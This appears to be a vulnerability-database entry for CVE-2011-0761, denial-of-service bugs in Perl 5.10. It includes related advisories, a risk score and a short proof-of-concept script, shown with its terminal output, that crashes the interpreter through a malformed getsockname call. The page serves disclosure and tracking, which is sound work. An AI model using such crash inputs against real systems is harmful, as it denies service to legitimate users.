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Perl 5.10 - Multiple Null Pointer Dereference Denial of Service Vulnerabilities
| Reporter | Title | Published | Views | Family All 17 |
|---|---|---|---|---|
 | The vulnerability of the telldir function in the Perl programming language allows a hacker to cause a service failure. | 27 Apr 202200:00 | – | bdu_fstec |
 | CVE-2011-0761 | 3 May 201100:00 | – | circl |
 | CVE-2011-0761 | 13 May 201117:00 | – | cve |
 | CVE-2011-0761 | 13 May 201117:00 | – | cvelist |
 | CVE-2011-0761 | 13 May 201117:00 | – | debiancve |
 | EUVD-2011-0773 | 7 Oct 202500:30 | – | euvd |
 | GLSA-201311-17 : Perl: Multiple vulnerabilities | 29 Nov 201300:00 | – | nessus |
| RHEL 6 : perl (Unpatched Vulnerability) | 3 Jun 202400:00 | – | nessus |
| Linux Distros Unpatched Vulnerability : CVE-2011-0761 | 3 Mar 202500:00 | – | nessus |
 | Perl: Multiple vulnerabilities | 28 Nov 201300:00 | – | gentoo |
10
source: https://www.securityfocus.com/bid/47766/info
Perl is prone to multiple denial-of-service vulnerabilities caused by a NULL-pointer dereference.
An attacker can exploit these issues to cause an affected application to crash, denying service to legitimate users.
Perl versions 5.10.x are vulnerable.
jonathan () blackbox:~/test$ cat poc1.pl
#!/usr/bin/perl
$a =
getsockname(9505,4590,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA",17792);
jonathan () blackbox:~/test$ perl poc1.pl
Segmentation fault (core dumped)
jonathan () blackbox:~/test$Data
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08 Jan 2015 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 25
EPSS0.08749